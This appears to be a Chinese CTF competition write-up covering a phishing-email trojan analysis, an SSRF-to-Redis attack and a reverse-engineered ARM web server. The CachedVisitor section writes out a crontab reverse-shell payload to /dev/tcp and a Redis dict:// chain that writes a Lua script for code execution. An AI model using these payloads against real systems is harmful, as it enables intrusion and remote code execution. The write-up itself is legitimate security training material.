2919 字
15 分钟
【Volcania】第十八届2025软件系统安全赛华南赛区(CCSSSC2025)Writeup - TEAM Volcania

钓鱼邮件 | @Luminoria#

Bob收到了一份钓鱼邮件,请找出木马的回连地址和端口。 假如回连地址和端口为123.213.123.123:1234,那么敏感信息为MD5(123.213.123.123:1234),即d9bdd0390849615555d1f75fa854b14f,以Cyberchef的结果为准。

附件是邮件的eml文件,处理一下,删除部分标记,可以得到附件部分的base64编码值,尝试赛博厨师解码,发现PK头

用Python处理,写成文件

import base64
with open("email.txt") as f:
data = f.read().replace("\r\n", "")
with open("raw.txt", "wt") as f:
f.write(data)
with open("file", "wb") as f:
dec_data = base64.b64decode(data)
f.write(dec_data)

binwalk后确定为zip

打开发现有密码,但是邮件里面说了是生日礼物

------=_NextPart_67318E01_3D423680_45B6667D
Content-Type: text/html;
charset="utf-8"
Content-Transfer-Encoding: base64
PGRpdiBjbGFzcz0icW1ib3giPjxwIHN0eWxlPSJmb250LWZhbWlseTogLWFwcGxlLXN5c3Rl
bSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAmcXVvdDtQaW5nRmFuZyBTQyZxdW90OywgJnF1b3Q7
TWljcm9zb2Z0IFlhSGVpJnF1b3Q7LCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEwLjVwdDsg
Y29sb3I6IHJnYig0NiwgNDgsIDUxKTsiPuS7iuWkqeaYr+S9oOeahDI05bKB55Sf5pel77yM
56Wd5L2g55Sf5pel5b+r5LmQPC9wPjxkaXYgeG1haWwtc2lnbmF0dXJlPSIiPjx4bS1zaWdu
YXR1cmU+PC94bS1zaWduYXR1cmU+PHA+PC9wPjwvZGl2PjwvZGl2Pg==
------=_NextPart_67318E01_3D423680_45B6667D--
<div class="qmbox"><p style="font-family: -apple-system, BlinkMacSystemFont, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, sans-serif; font-size: 10.5pt; color: rgb(46, 48, 51);">今天是你的24岁生日,祝你生日快乐</p><div xmail-signature=""><xm-signature></xm-signature><p></p></div></div>

发送时间可以看到为published: Mon, 11 Nov 2024 12:54:24 +0800,所以结合信息,猜测密码为20001111,得到exe文件

喂给奇安信沙箱,可以直接得到链接的IP地址和端口

222.218.218.218:55555经过md5计算后为df3101212c55ea8c417ad799cfc6b509,即为答案

CachedVisitor | @Ron#

个人做法(未出)#

附件给了docker镜像,经过检查存在SSRF漏洞且容器出网

并且没有禁用file://协议

参考网上的各种攻击手段,尝试用crontab反弹一个shell出来

SSRF漏洞用到的其他协议(dict协议,file协议) - My_Dreams - 博客园

Terminal window
set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/IP/PORT 0>&1\n\n"
config:set:dir:/etc/
config:set:dbfilename:crontab
bgsave

发现服务器没反应,访问file:///etc/crontab发现确实存在进去的任务

但是没有与我的服务器建立连接,查证为crontab没开,算了,交给队友吧

队友做法 | @Ron#

部分有用的测试:

容器出网且可读取文件

dict协议可用,可访问redis

分析了一下源代码

main.luavisit.script中读取\##LUA_START####LUA_END##之间的内容作为脚本运行

COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag

flag设置了权限无法直接读取

尝试使用redis写visit.script进行RCE

在本地docker编写lua测试可以输出flag

##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##

直接使用redis将lua写入visit.script

dict://127.0.0.1:6379/set:payload:"##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##"
dict://127.0.0.1:6379/config:set:dir:/scripts/
dict://127.0.0.1:6379/config:set:dbfilename:visit.script
dict://127.0.0.1:6379/bgsave

写入之后随意发送一个请求即可执行我们写入的脚本

dart{dc2e4048-dca7-4fa3-9803-8ee9d785af2b}

ez_arm | @Luminoria (未出)#

{% note info %}

本题附件:https://ctf-files.bili33.top/CCSSSC2025/Preliminary/ez_arm.zip

{% endnote %}

附件给了个压缩包,解压出来内容如下

  • ez_arm/
    • html/
      • index.html
    • httpd
    • libc.so.6
    • start.sh

我先把start.shindex.html这两个个人感觉没啥用的东西内容放下面

#!/bin/sh
# Add your startup script
# DO NOT DELETE
/etc/init.d/xinetd start;
echo DART{$FLAG} > /home/ctf/flag.txt;
chmod 444 /home/ctf/flag.txt;
unset FLAG;
export FLAG=not_flag
rm /bin/sh;
sleep infinity;
{Hello}

而题目名称ez_arm,告诉我们是arm架构的产物,然后我先去找队友要了个全架构IDA,反编译后得到循环调用的用于处理http请求的代码(部分函数已经被我改过名字了)

int sub_10B04()
{
int v0; // r2
struct tm *v1; // r0
int v2; // r0
char v4; // [sp+18h] [bp+8h] BYREF
char v5; // [sp+1Ch] [bp+Ch] BYREF
char v6; // [sp+20h] [bp+10h] BYREF
char v7; // [sp+24h] [bp+14h] BYREF
char v8; // [sp+28h] [bp+18h] BYREF
struct dirent **v9; // [sp+2Ch] [bp+1Ch] BYREF
struct stat v10; // [sp+30h] [bp+20h] BYREF
char v11[16]; // [sp+8Ch] [bp+7Ch] BYREF
char v12[8]; // [sp+9Ch] [bp+8Ch] BYREF
int v13; // [sp+A4h] [bp+94h]
_BYTE v14[1020]; // [sp+A8h] [bp+98h] BYREF
char v15[1000]; // [sp+4A4h] [bp+494h] BYREF
char v16[20000]; // [sp+88Ch] [bp+87Ch] BYREF
char v17[20000]; // [sp+56ACh] [bp+569Ch] BYREF
char v18[10000]; // [sp+A4CCh] [bp+A4BCh] BYREF
char v19; // [sp+CBDCh] [bp+CBCCh] BYREF
_BYTE v20[9999]; // [sp+CBDDh] [bp+CBCDh] BYREF
char v21[10000]; // [sp+F2ECh] [bp+F2DCh] BYREF
char v22[10000]; // [sp+119FCh] [bp+119ECh] BYREF
char v23[10]; // [sp+1410Ch] [bp+140FCh] BYREF
__int16 v24; // [sp+14116h] [bp+14106h] BYREF
FILE *v25; // [sp+1681Ch] [bp+1680Ch]
int v26; // [sp+16820h] [bp+16810h]
char *v27; // [sp+16824h] [bp+16814h]
char *v28; // [sp+16828h] [bp+16818h]
char *v29; // [sp+1682Ch] [bp+1681Ch]
int v30; // [sp+16830h] [bp+16820h]
size_t v31; // [sp+16834h] [bp+16824h]
size_t v32; // [sp+16838h] [bp+16828h]
int v33; // [sp+1683Ch] [bp+1682Ch]
int i; // [sp+16840h] [bp+16830h]
char *j; // [sp+16844h] [bp+16834h]
int k; // [sp+16848h] [bp+16838h]
char *v37; // [sp+1684Ch] [bp+1683Ch]
v13 = 0;
memset(v14, 0, sizeof(v14));
v32 = 0;
v31 = 0;
v30 = 0;
if ( chdir("/home/ctf/html") < 0 )
make_response(500, "Internal Error", 0, "Config error - couldn't chdir().");
if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "No request found.");
if ( _isoc99_sscanf(v22, "%10000[^ ] %10000[^ ] %10000[^ ]", v21, &v19, v18) != 3 )
make_response(400, "Bad Request", 0, "Can't parse request.");
if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "Missing host.");
v29 = strstr(v22, "host: ");
if ( !v29 )
make_response(400, "Bad Request", 0, "Missing host.");
v28 = strstr(v29 + 6, "\r\n");
if ( v28 )
{
*v28 = 0;
}
else
{
v28 = strchr(v29 + 6, (int)"\n");
if ( v28 )
*v28 = 0;
}
if ( strlen(v29 + 6) <= 7 )
make_response(400, "Bad Request", 0, "host len error.");
if ( v29 == (char *)-6 || !v29[6] )
make_response(400, "Bad Request", 0, "host format error.");// 小写host
_isoc99_sscanf(v29 + 6, "%d.%d.%d.%d%c", &v8, &v7, &v6, &v5, &v4);
if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "Missing Content-length.");// length小写的Content-Length
v29 = strstr(v22, "Content-length: ");
if ( !v29 )
make_response(400, "Bad Request", 0, "Missing Content-length.");
v28 = strstr(v29 + 16, "\r\n");
if ( v28 )
*v28 = 0;
v33 = atoi(v29 + 16);
if ( strlen(v29 + 0x10) > 4 )
make_response(400, "Bad Request", 0, "Content-length len too long.");
if ( strcasecmp(v21, "get") && strcasecmp(v21, "post") )// 必须为GET或者POST
make_response(501, "Not Implemented", 0, "That method is not implemented.");
if ( strncmp(v18, "HTTP/1.0", 8u) ) // HTTP协议版本1.0
make_response(400, "Bad Request", 0, "Bad protocol.");
if ( v19 != 47 )
make_response(400, "Bad Request", 0, "Bad filename.");
v37 = v20;
sub_11C46(v20, v20); // 没看明白在干啥
if ( !*v37 )
v37 = "./"; // 默认路径为当前目录
v32 = strlen(v37);
if ( *v37 == 47
|| !strcmp(v37, "..") // 文件路径不包含下面这一坨
|| !strncmp(v37, "../", 3u)
|| strstr(v37, "/../")
|| !strcmp(&v37[v32 - 3], "/..") )
{
make_response(400, "Bad Request", 0, "Illegal filename.");// 触发限制返回400
}
v27 = strchr(v37, 63);
if ( v27 )
{
for ( i = 0; i <= 9999; ++i )
v23[i] = 0;
i = 0;
for ( j = v37; j != v27; ++j )
{
v0 = i++;
v23[v0] = *j;
}
v23[i] = 0;
}
else
{
strcpy(v23, v37);
}
if ( strcmp(v23, "auth.cgi") )
{
if ( sub_121F4(v37, &v10) < 0 )
make_response(404, "Not Found", 0, "File not found.");
if ( (v10.st_mode & 0xF000) == 0x4000 )
{
if ( v37[v32 - 1] != 47 )
{
snprintf(v16, 0x4E20u, "Location: %s/", &v19);
make_response(302, "Found", v16, "Directories must end with a slash.");
}
snprintf(v17, 0x4E20u, "%sindex.html", v37);
if ( sub_121F4(v17, &v10) < 0 )
{
make_response_header(200, "Ok", 0, "text/html", -1, v10.st_mtim.tv_sec);
v26 = scandir(v37, &v9, 0, alphasort);
if ( v26 >= 0 )
{
for ( k = 0; k < v26; ++k )
{
sub_11D3E(v15, 1000, v9[k]->d_name);
snprintf(v17, 0x4E20u, "%s/%s", v37, v9[k]->d_name);
if ( sub_12200(v17, &v10) >= 0 )
{
v1 = localtime(&v10.st_mtim.tv_sec);
strftime(v11, 0x10u, "%d%b%Y %H:%M", v1);
printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v15, v9[k]->d_name, v11, (__int64)v10.st_size);
sub_11832(v17);
}
printf("<a href=\"%s\">%-32.32s</a> ???\n", v15, v9[k]->d_name);
printf(
"</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
"https://www.dart.com/",
"DART");
}
}
else
{
perror("scandir");
}
LABEL_81:
fflush((FILE *)stdout);
exit(0);
}
v37 = v17;
}
memset(v15, 0, sizeof(v15));
v25 = fopen(v37, "r");
if ( !v25 ) // 打不开目标文件,告诉你写保护了
make_response(403, "Forbidden", 0, "File is protected.");
v2 = sub_11BE2(v37);
make_response_header(200, "Ok", 0, v2, v10.st_size, v10.st_mtim.tv_sec);// 构造返回头
fgets(v15, 64, v25);
printf("The encryption %s:", v37);
sub_11DE0(v15);
fclose(v25);
goto LABEL_81;
}
if ( strcasecmp(v21, "post") )
make_response(400, "Bad Request", v30, "Only POST");
fgets(v12, 5, (FILE *)stdin);
if ( strcmp(v12, "\r\n") )
make_response(400, "Bad Request", v30, "text/html");
v31 = strlen(v23);
v32 = sub_11FF2(stdin, &v23[v31 + 1], v33);
if ( !security_check(&v24) )
make_response(400, "Bad Request", v30, "Illegal character");
if ( !v32 )
make_response(400, "Bad Request", v30, "No data");
v23[v32 + 1 + v31] = 0;
sub_11A50(200, "OK", v30, "text/html");
return 0;
}

其中,因为sub_11ACC有很明显的html返回头特征,所以更名为make_response_header

int __fastcall sub_11ACC(int a1, const char *a2, const char *a3, const char *a4, int a5, time_t a6)
{
struct tm *v6; // r0
struct tm *v7; // r0
char v11[100]; // [sp+10h] [bp+10h] BYREF
time_t v12; // [sp+74h] [bp+74h] BYREF
printf("%s %d %s\r\n", "HTTP/1.0", a1, a2);
printf("Server: %s\r\n", "DART");
v12 = time(0);
v6 = gmtime(&v12);
strftime(v11, 0x64u, "%a, %d %b %Y %H:%M:%S GMT", v6);
printf("published: %s\r\n", v11);
if ( a3 )
printf("%s\r\n", a3);
if ( a4 )
printf("Content-Type: %s\r\n", a4);
if ( a5 >= 0 )
printf("Content-Length: %lld\r\n", (__int64)a5);
if ( a6 != -1 )
{
v7 = gmtime(&a6);
strftime(v11, 0x64u, "%a, %d %b %Y %H:%M:%S GMT", v7);
printf("Last-Modified: %s\r\n", v11);
}
puts("Connection: close\r");
return puts("\r");
}

sub_119D6有html部分,所以我更名为了make_response

void __fastcall __noreturn sub_119D6(int a1, const char *a2, const char *a3, const char *a4)
{
make_response_header(a1, a2, a3, "text/html", -1, -1);
printf("<html><head><title>%d %s</title></head>\n<body bgcolor=\"#cc9999\"><h4>%d %s</h4>\n", a1, a2, a1, a2);
puts(a4);
printf("<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n", "https://www.dart.com/", "DART");
fflush((FILE *)stdout);
exit(0);
}

然后开始分析逻辑部分,直接访问会告诉我们Missing host.,不难发现是触发了下面的代码

if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "Missing host.");
v29 = strstr(v22, "host: ");
if ( !v29 )
make_response(400, "Bad Request", 0, "Missing host.");

C语言的strstr是用于查找提供的内容在传入的字符串中出现的位置的,而查找的内容很容易发现是host:而不是Host:,http请求中的主机名的键是大写的Host,所以要对此进行修改

通过burpsuite进行修改后,发现返回的内容变成了Missing Content-length.,所以触发了下面的这部分代码

if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "Missing Content-length.");// length小写的Content-Length
v29 = strstr(v22, "Content-length: ");
if ( !v29 )
make_response(400, "Bad Request", 0, "Missing Content-length.");

同样这里也挖了个坑,常规的应该是Content-Length而不是Content-lengthl的大小写问题),而我用burpsuite修改的时候,它会自动帮我纠正这个大小写问题,于是写了个Python脚本

这里我把其他没有用的东西删掉了,是因为如果把Content-length放在最下面(如同常规的HTTP请求),会检测不到,所以我猜应该是host行下面就进行了Content-length的检测,而且只传入一行

import socket
import socks
import sys
def send_custom_http_request():
# 代理服务器详情
proxy_host = 'PROXY_HOST_PROVIDED_BY_PLATFORM'
proxy_port = 65535
proxy_username = 'PROXY_USERNAME_PROVIDED_BY_PLATFORM'
proxy_password = 'PROXY_PASSWORD_PROVIDED_BY_PLATFORM'
# 目标服务器详情
target_host = '192.0.100.2'
target_port = 9999
target_url = '/.bash_history'
# 构造带有特定大小写的 HTTP POST 请求
http_request = (
f'POST {target_url} HTTP/1.1\r\n'
f'host: {target_host}:{target_port}\r\n'
f'Content-length: 0\r\n'
f'\r\n'
)
try:
# 创建一个 SOCKS5 代理套接字
sock = socks.socksocket()
sock.set_proxy(proxy_type=socks.SOCKS5, addr=proxy_host, port=proxy_port,
username=proxy_username, password=proxy_password)
# 连接到目标服务器通过代理
sock.connect((target_host, target_port))
print("已成功连接到目标服务器通过 SOCKS5 代理。")
# 发送 HTTP POST 请求
sock.sendall(http_request.encode('utf-8'))
print("已发送 HTTP POST 请求。")
# 接收响应
response = b''
while True:
data = sock.recv(4096)
if not data:
break
response += data
# 解码响应
with open("response", "wb") as f:
f.write(response)
response_text = response.decode('utf-8', errors='replace')
print("收到响应:")
print(response_text)
# 检查是否收到 200 OK 状态
if '200 Ok' in response_text:
print("正确连接。")
else:
print("连接可能不正确。未收到 200 OK 状态。")
# 关闭套接字
sock.close()
except Exception as e:
print(f"发生错误:{e}")
sys.exit(1)
if __name__ == '__main__':
send_custom_http_request()

最后触发了Bad protocol.,看了源码发现HTTP协议版本要1.0

if ( strncmp(v18, "HTTP/1.0", 8u) ) // HTTP协议版本1.0
make_response(400, "Bad Request", 0, "Bad protocol.");

所以改了上面的脚本的请求部分

# 构造带有特定大小写的 HTTP POST 请求
http_request = (
f'POST {target_url} HTTP/1.0\r\n'
f'host: {target_host}:{target_port}\r\n'
f'Content-length: 0\r\n'
f'\r\n'
)

然后就可以读取到东西了,但是发现返回的头有点异常,并且index.html的内容也不是{Hello},16进制返回为FF467C86CADA22870A

HTTP/1.0 200 Ok
Server: DART
published: Sun, 05 Jan 2025 14:54:14 GMT
Content-Type: text/html; charset=iso-0001-1
Connection: close

charset里面用了一个从没见过的编码方式iso-0001-1,翻了代码发现还有个iso-0002-1

sub_11BE2里面可以看到返回的逻辑

const char *__fastcall sub_11BE2(const char *a1)
{
const char *s1; // [sp+Ch] [bp+Ch]
s1 = strrchr(a1, 46);
if ( !s1 )
return "text/plain; charset=iso-0000-1";
if ( !strcmp(s1, ".html") || !strcmp(s1, ".htm") )
return "text/html; charset=iso-0001-1";
return "text/plain; charset=iso-0002-1";
}

反正就是,如果扩展名为.htm,就返回charset=iso-0002-1,否则都返回charset=iso-0001-1

并且,如果尝试访问/../../../../../../flag,就会返回Illegal filename.,应该是触发了下面这一坨条件

v32 = strlen(v37);
if ( *v37 == 47
|| !strcmp(v37, "..") // 文件路径不包含下面这一坨
|| !strncmp(v37, "../", 3u)
|| strstr(v37, "/../")
|| !strcmp(&v37[v32 - 3], "/..") )
{
make_response(400, "Bad Request", 0, "Illegal filename.");// 触发限制返回400
}

源码里有一个特别的路径auth.cgi(完整源码在上面,这里不重复复制粘贴了)

if ( strcmp(v23, "auth.cgi") )

实测如果访问/auth.cgi,会卡住无返回

此外,还找到一个疑似安全检查函数sub_12050(被我改名为security_check

bool __fastcall sub_12050(const char *a1)
{
char v4[4]; // [sp+8h] [bp+8h] BYREF
int v5; // [sp+Ch] [bp+Ch] BYREF
char v6[8]; // [sp+10h] [bp+10h] BYREF
strcpy(v6, "flag");
v5 = 7627107;
strcpy(v4, "sh");
if ( strchr(a1, 38) )
return 0;
if ( strchr(a1, 124) )
return 0;
if ( strchr(a1, 36) )
return 0;
if ( strchr(a1, 123) )
return 0;
if ( strchr(a1, 125) )
return 0;
if ( strchr(a1, 62) )
return 0;
if ( strchr(a1, 42) )
return 0;
if ( strchr(a1, 39) )
return 0;
if ( strchr(a1, 34) )
return 0;
if ( strchr(a1, 96) )
return 0;
if ( strchr(a1, 80) )
return 0;
if ( strchr(a1, 85) )
return 0;
if ( strstr(a1, (const char *)&v5) )
return 0;
if ( strstr(a1, v4) )
return 0;
return strstr(a1, v6) == 0;
}

对于此函数,GPT的解释如下

至此没有其他头绪了,看看后面有没有大佬做出来吧

【Volcania】第十八届2025软件系统安全赛华南赛区(CCSSSC2025)Writeup - TEAM Volcania
https://bili33.top/posts/ctf-ccsssc2025-preliminary-round-writeup/
作者
GamerNoTitle
发布于
2025-01-06
许可协议
CC BY-NC-SA 4.0